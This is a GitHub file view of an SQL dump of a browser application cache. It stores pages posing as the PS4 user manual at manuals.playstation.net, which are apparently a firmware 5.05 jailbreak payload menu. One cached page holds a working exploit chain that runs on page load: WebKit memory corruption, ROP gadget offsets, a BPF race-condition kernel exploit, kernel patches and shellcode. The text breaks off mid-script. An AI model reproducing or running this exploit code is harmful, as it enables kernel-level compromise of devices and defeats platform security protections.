-
Notifications
You must be signed in to change notification settings - Fork 5
/
ApplicationCache.sql
225 lines (190 loc) · 427 KB
/
ApplicationCache.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS `Origins` (
`origin` TEXT UNIQUE,
`quota` INTEGER NOT NULL
);
INSERT INTO `Origins` VALUES ('http_manuals.playstation.net_0',9223372036854775807);
INSERT INTO `Origins` VALUES ('http_cache_0',9223372036854775807);
CREATE TABLE IF NOT EXISTS `FallbackURLs` (
`namespace` TEXT NOT NULL,
`fallbackURL` TEXT NOT NULL,
`cache` INTEGER NOT NULL
);
CREATE TABLE IF NOT EXISTS `DeletedCacheResources` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`path` TEXT
);
CREATE TABLE IF NOT EXISTS `Caches` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`cacheGroup` INTEGER,
`size` INTEGER
);
INSERT INTO `Caches` VALUES (1,1,334882);
INSERT INTO `Caches` VALUES (2,2,334882);
CREATE TABLE IF NOT EXISTS `CacheWhitelistURLs` (
`url` TEXT NOT NULL,
`cache` INTEGER NOT NULL
);
CREATE TABLE IF NOT EXISTS `CacheResources` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`url` TEXT NOT NULL,
`statusCode` INTEGER NOT NULL,
`responseURL` TEXT NOT NULL,
`mimeType` TEXT,
`textEncodingName` TEXT,
`headers` TEXT,
`data` INTEGER NOT NULL
);
INSERT INTO `CacheResources` VALUES (1,'http://manuals.playstation.net/document/en/ps4/manifest.appcache',200,'http://manuals.playstation.net/document/en/ps4/manifest.appcache','text/plain','','Connection:close
Content-Type:text/plain
Content-Length:192
',1);
INSERT INTO `CacheResources` VALUES (2,'http://manuals.playstation.net/document/en/ps4/index.html',200,'http://manuals.playstation.net/document/en/ps4/index.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:1079
',2);
INSERT INTO `CacheResources` VALUES (3,'http://manuals.playstation.net/document/en/ps4/AppToUsb.html',200,'http://manuals.playstation.net/document/en/ps4/AppToUsb.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:53832
',3);
INSERT INTO `CacheResources` VALUES (4,'http://manuals.playstation.net/document/en/ps4/DB_SG_Backup.html',200,'http://manuals.playstation.net/document/en/ps4/DB_SG_Backup.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:42332
',4);
INSERT INTO `CacheResources` VALUES (5,'http://manuals.playstation.net/document/en/ps4/Enable_VR.html',200,'http://manuals.playstation.net/document/en/ps4/Enable_VR.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:29823
',5);
INSERT INTO `CacheResources` VALUES (6,'http://manuals.playstation.net/document/en/ps4/KernelDumper.html',200,'http://manuals.playstation.net/document/en/ps4/KernelDumper.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:36619
',6);
INSERT INTO `CacheResources` VALUES (7,'http://manuals.playstation.net/document/en/ps4/ps4-dumper-vtx.html',200,'http://manuals.playstation.net/document/en/ps4/ps4-dumper-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:54791
',7);
INSERT INTO `CacheResources` VALUES (8,'http://manuals.playstation.net/document/en/ps4/ps4-ftp-vtx.html',200,'http://manuals.playstation.net/document/en/ps4/ps4-ftp-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:62863
',8);
INSERT INTO `CacheResources` VALUES (9,'http://manuals.playstation.net/document/en/ps4/ps4-hen-vtx.html',200,'http://manuals.playstation.net/document/en/ps4/ps4-hen-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:36442
',9);
INSERT INTO `CacheResources` VALUES (10,'http://manuals.playstation.net/document/en/ps4/bg.png',200,'http://manuals.playstation.net/document/en/ps4/bg.png','image/png','','Connection:close
Content-Type:image/png
Content-Length:55598
',10);
INSERT INTO `CacheResources` VALUES (11,'http://cache/manifest.appcache',200,'http://cache/manifest.appcache','text/plain','','Connection:close
Content-Type:text/plain
Content-Length:192
',1);
INSERT INTO `CacheResources` VALUES (12,'http://cache/index.html',200,'http://cache/index.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:1079
',2);
INSERT INTO `CacheResources` VALUES (13,'http://cache/AppToUsb.html',200,'http://cache/AppToUsb.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:53832
',3);
INSERT INTO `CacheResources` VALUES (14,'http://cache/DB_SG_Backup.html',200,'http://cache/DB_SG_Backup.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:42332
',4);
INSERT INTO `CacheResources` VALUES (15,'http://cache/Enable_VR.html',200,'http://cache/Enable_VR.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:29823
',5);
INSERT INTO `CacheResources` VALUES (16,'http://cache/KernelDumper.html',200,'http://cache/KernelDumper.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:36619
',6);
INSERT INTO `CacheResources` VALUES (17,'http://cache/ps4-dumper-vtx.html',200,'http://cache/ps4-dumper-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:54791
',7);
INSERT INTO `CacheResources` VALUES (18,'http://cache/ps4-ftp-vtx.html',200,'http://cache/ps4-ftp-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:62863
',8);
INSERT INTO `CacheResources` VALUES (19,'http://cache/ps4-hen-vtx.html',200,'http://cache/ps4-hen-vtx.html','text/html','','Connection:close
Content-Type:text/html
Content-Length:36442
',9);
INSERT INTO `CacheResources` VALUES (20,'http://cache/bg.png',200,'http://cache/bg.png','image/png','','Connection:close
Content-Type:image/png
Content-Length:55598
',10);
CREATE TABLE IF NOT EXISTS `CacheResourceData` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`data` BLOB,
`path` TEXT
);
INSERT INTO `CacheResourceData` VALUES (1,'CACHE MANIFEST
CACHE:
index.html
AppToUsb.html
DB_SG_Backup.html
Enable_VR.html
KernelDumper.html
ps4-dumper-vtx.html
ps4-ftp-vtx.html
ps4-hen-vtx.html
bg.png.html
NETWORK:
*
',NULL);
INSERT INTO `CacheResourceData` VALUES (2,'<!DOCTYPE html><html manifest="manifest.appcache"><head><meta name="viewport" content="width=device-width, initial-scale=1"><title>PS4 Server</title><style>.btn { background-color: DodgerBlue; border: none; color: white; padding: 12px 16px; font-size: 16px; cursor: pointer; font-weight: bold;}.btn:hover { background-color: RoyalBlue;}body { background-image: url("bg.png"); background-color: #1451AE; color: #ffffff; text-shadow: 3px 2px DodgerBlue;)</style></head><body><center><h1>5.05 Payloads</h1><a href="AppToUsb.html"><button class="btn"> AppToUsb</button></a> <a href="DB_SG_Backup.html"><button class="btn">DB Backup</button></a> <a href="Enable_VR.html"><button class="btn">Enable VR</button></a> <p></p><a href="ps4-dumper-vtx.html"><button class="btn">VTX Dumper</button></a> <a href="ps4-ftp-vtx.html"><button class="btn">VTX FTP</button></a> <a href="ps4-hen-vtx.html"><button class="btn">VTX HEN</button></a><p></p><a href="KernelDumper.html"><button class="btn">KernelDumper</button></a></center></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (3,'<!DOCTYPE html><html><head><title>PS4Jailbreak 5.05</title><meta name=viewport content="width=device-width, initial-scale=1"><style>.loader{position:absolute;left:50%;top:50%;margin:-75px 0 0 -75px;border:10px solid #f3f3f3;border-radius:50%;border-top:10px solid #044595;border-left:10px solid #044595;width:120px;height:120px;-webkit-animation:spin 1s linear infinite}.info{overflow:hidden;position:fixed;position:absolute;top:50%;left:50%;font-size:45px;font-family:sans-serif;transform:translate(-50%,-50%)}.credits{overflow:hidden;position:fixed;position:absolute;top:90%;left:50%;font-size:16px;font-family:sans-serif;text-align:center;transform:translate(-50%,-90%)}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}</style></head><body onload=runExploit() style=margin:0><div id=loader class=loader></div><div id=done class=info style=display:none>Done.</div><div id=fail class=info style=display:none>Fail!</div><div id=footer class=credits><ul style=list-style:none;padding-left:0><li><a href=#>qwertyoruiopz</a></li><li><a href=#>flatz</a></li><li><a href=#>specter</a></li><li><a href=#>xvortex</a></li><li>anonymous contributors</li></ul></div><script>var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onload=function(){setTimeout(exploit,3000);};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();};};function done(){document.getElementById("loader").style.display="none";document.getElementById("done").style.display="block";};var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);};};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);};if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);};if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);};if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);};if(r8!=undefined){this.push(g.pop_r8);this.push(r8);};if(r9!=undefined){this.push(g.pop_r9);this.push(r9);};this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));};return text;};var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;};var _dview;function u2d(low,hi){if(!_dview)_dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);};function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;};return number+"";};function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;};this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;};this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0)return lo_str;else{lo_str=zeroFill(lo_str,8);};return hi_str+lo_str;};return this;};var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};};var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;};};};if(!foundLeak){throw new Error("infoleak fail");};Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;};master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727)return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);};};var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low)break;};var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime)returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var 